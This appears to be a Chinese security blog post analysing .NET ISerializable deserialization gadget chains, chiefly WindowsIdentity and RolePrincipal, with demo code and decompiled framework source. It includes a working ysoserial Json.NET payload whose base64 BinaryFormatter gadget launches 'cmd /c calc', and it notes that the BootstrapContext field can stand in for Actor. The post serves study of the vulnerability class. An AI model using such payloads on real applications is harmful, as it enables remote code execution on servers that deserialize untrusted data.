ISerializable有哪些链:

  1. System.Web.Security.RolePrincipal
  2. System.Security.Principal.WindowsIdentity
  3. System.Security.Principal.WindowsPrincipal
  4. Microsoft.IdentityModel.Claims.WindowsClaimsIdentity
  5. System.IdentityModel.Tokens.SessionSecurityToken

这些链均具有一个相同的特点,那就是全部实现了ISerializable接口。

ISerializable接口介绍:

微软官方文档的介绍,说的很简单,我也看不懂:

允许对象控制其自己的序列化和反序列化过程。

但我们可以自己实现一个demo来进行观察ISerializable接口序列化与反序列化的过程Person类:

[Serializable]

        public class Person : ISerializable{
            public string FirstName { get; set; }
            public string LastName { get; set; }
            public string Name { get; set; }
            public Person() { }
            void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context)
            {
                Console.WriteLine("GetObjectData");
                info.AddValue("Name", this.Name);
                if (!string.IsNullOrWhiteSpace(this.Name))
                {
                    info.AddValue("FirstName", this.Name.Split(' ')[0]);
                    info.AddValue("LastName", this.Name.Split(' ')[1]);
                    info.AddValue("xxoo", "Hello Hack");
                }

            }

       }

main函数:

static void Main(string[] args)
        {
            Person person = new Person { Name = "小 红" };

            string seriaData = JsonConvert.SerializeObject(person);
            Console.WriteLine(seriaData);
            Person personInfo = JsonConvert.DeserializeObject<Person>(seriaData);
            Console.Read();
        }

在运行代码后我们得到以下输出:

GetObjectData
{"Name":"小 红","FirstName":"小","LastName":"红","xxoo":"Hello Hack"}

由上得出结论:

  1. info.AddValue会被反序列化
  2. 当实现ISerializable接口的类被序列化时会自动调用GetObjectData类来控制序列化的内容。

但在我查阅资料的过程中还发现了如下解释:

但与其他接口不同的是,为了Deserialization,我们还必须实现一个特殊的构造函数(我称此构造函数为“序列化构造函数”),此构造函数具有与GetObjectData相同的参数列表。

根据上面的说法,我们将Person类的代码改为:

[Serializable]

        public class Person : ISerializable
        {
            public string FirstName { get; set; }
            public string LastName { get; set; }
            public string Name { get; set; }
            public Person() { }
            protected Person(SerializationInfo info, StreamingContext context)
            {
                Console.WriteLine("UserInfo被执行了!!!");
                Name = info.GetString("Name");
                FirstName = info.GetString("FirstName");
                LastName = info.GetString("LastName");
            }
            void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context)
            {
                Console.WriteLine("GetObjectData");
                info.AddValue("Name", this.Name);
                if (!string.IsNullOrWhiteSpace(this.Name))
                {
                    info.AddValue("FirstName", this.Name.Split(' ')[0]);
                    info.AddValue("LastName", this.Name.Split(' ')[1]);
                    info.AddValue("xxoo", "Hello Hack");
                }

            }
        }

Main函数的代码不变,由此输出结果为:

GetObjectData
{"Name":"小 红","FirstName":"小","LastName":"红","xxoo":"Hello Hack"}
UserInfo被执行了!!!

做完上面的实验后,我们得出结论:在继承ISerializable接口后,序列化时会执行GetObjectData函数,反序列化时会自动调用与GetObjectData函数同样参数的构造函数。

System.Security.Principal.WindowsIdentity

现在我们在来看WindowsIdentity链,首先给出ysoserial.exe的WindowsIdentity链:

{
                    '$type': 'System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
                    'System.Security.ClaimsIdentity.actor': 'AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAsgU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtOCI/Pg0KPE9iamVjdERhdGFQcm92aWRlciBNZXRob2ROYW1lPSJTdGFydCIgSXNJbml0aWFsTG9hZEVuYWJsZWQ9IkZhbHNlIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpzZD0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uRGlhZ25vc3RpY3M7YXNzZW1ibHk9U3lzdGVtIiB4bWxuczp4PSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCI+DQogIDxPYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQogICAgPHNkOlByb2Nlc3M+DQogICAgICA8c2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgICAgIDxzZDpQcm9jZXNzU3RhcnRJbmZvIEFyZ3VtZW50cz0iL2MgY2FsYyIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8+DQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQo8L09iamVjdERhdGFQcm92aWRlcj4L'
}

首先查看WindowsIdentity的定义:

public class WindowsIdentity : ClaimsIdentity, ISerializable, IDeserializationCallback, IDisposable

既然我们刚刚了解了ISerializable接口的使用,所以我们现在只需要寻找GetObjectData函数同样参数的构造函数,代码如下:

public WindowsIdentity(SerializationInfo info, StreamingContext context)
            : this(info)
        {
        }

跟进重载后的函数:

private WindowsIdentity(SerializationInfo info)
            : base(info)
        {
            m_claimsInitialized = false;
            IntPtr intPtr = (IntPtr)info.GetValue("m_userToken", typeof(IntPtr));
            if (intPtr != IntPtr.Zero)
            {
                CreateFromToken(intPtr);
            }
        }

此函数调用了父类的构造函数,继续跟进:

[SecurityCritical]
        protected ClaimsIdentity(SerializationInfo info)
        {
            if (info == null)
            {
                throw new ArgumentNullException("info");
            }

            Deserialize(info, default(StreamingContext), useContext: false);
        }

到这里发现父类中的构造函数调用了反序列化Deserialize,查看函数定义:

我们发现函数首先调用了SerializationInfoEnumerator enumerator = info.GetEnumerator();,这个GetEnumerator方法其实就是遍历Info中的值,他会将你反序列化时所有的值载入进去。最终发现在以下分支存在反序列化的操作:

  1. System.Security.ClaimsIdentity.actor
case "System.Security.ClaimsIdentity.actor":
                        {
                            using (MemoryStream serializationStream2 = new MemoryStream(Convert.FromBase64String(info.GetString("System.Security.ClaimsIdentity.actor"))))
                            {
                                m_actor = (ClaimsIdentity)binaryFormatter.Deserialize(serializationStream2, null, fCheck: false);
                            }

                            break;
                        }
  1. System.Security.ClaimsIdentity.claims
case "System.Security.ClaimsIdentity.claims":
                        DeserializeClaims(info.GetString("System.Security.ClaimsIdentity.claims"));
                        break;
  1. System.Security.ClaimsIdentity.bootstrapContext
case "System.Security.ClaimsIdentity.bootstrapContext":
                        {
                            using (MemoryStream serializationStream = new MemoryStream(Convert.FromBase64String(info.GetString("System.Security.ClaimsIdentity.bootstrapContext"))))
                            {
                                m_bootstrapContext = binaryFormatter.Deserialize(serializationStream, null, fCheck: false);
                            }

                            break;
                        }

查看上诉所说的几个属性中claims是没有set方法的,所以是不能够利用的。剩下两个是存在set方法:

public ClaimsIdentity Actor
        {
            get
            {
                return m_actor;
            }
            set
            {
                if (value != null && IsCircular(value))
                {
                    throw new InvalidOperationException(Environment.GetResourceString("InvalidOperationException_ActorGraphCircular"));
                }

                m_actor = value;
            }
        }

        public object BootstrapContext
        {
            get
            {
                return m_bootstrapContext;
            }
            [SecurityCritical]
            set
            {
                m_bootstrapContext = value;
            }
        }

那么这里就ysoseril生成的payload中就可以不使用Actor而使用BootstrapContext了。在分析完这个链后,我们还可以总结出规律:所有实现了ISerializable类且继承至System.Security.Claims.ClaimsIdentity类的方法均可以作为入口链的使用

System.Web.Security.RolePrincipal:

在分析完WindowsIdentity链后其他的链其实都已经不用分析了。以下所有的链分析都可以基于上面的模板进行分析:

  1. 查看SerializationInfo info, StreamingContext context构造函数:
protected RolePrincipal(SerializationInfo info, StreamingContext context)
            : base(info, context)
        {
           ...省略...
        }

跟进base:

[SecurityCritical]
        protected ClaimsPrincipal(SerializationInfo info, StreamingContext context)
        {
            if (info == null)
            {
                throw new ArgumentNullException("info");
            }

            Deserialize(info, context);
        }

跟进Deserialize函数:

Identities属性:

public virtual IEnumerable<ClaimsIdentity> Identities => m_identities.AsReadOnly();

DeserializeIdentities函数:

总结:

一路通则路路通,索然无味了起来

参考连接:

https://www.anquanke.com/post/id/172920#h3-5
https://blog.csdn.net/u011877729/article/details/10756397

点击收藏 | 1 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖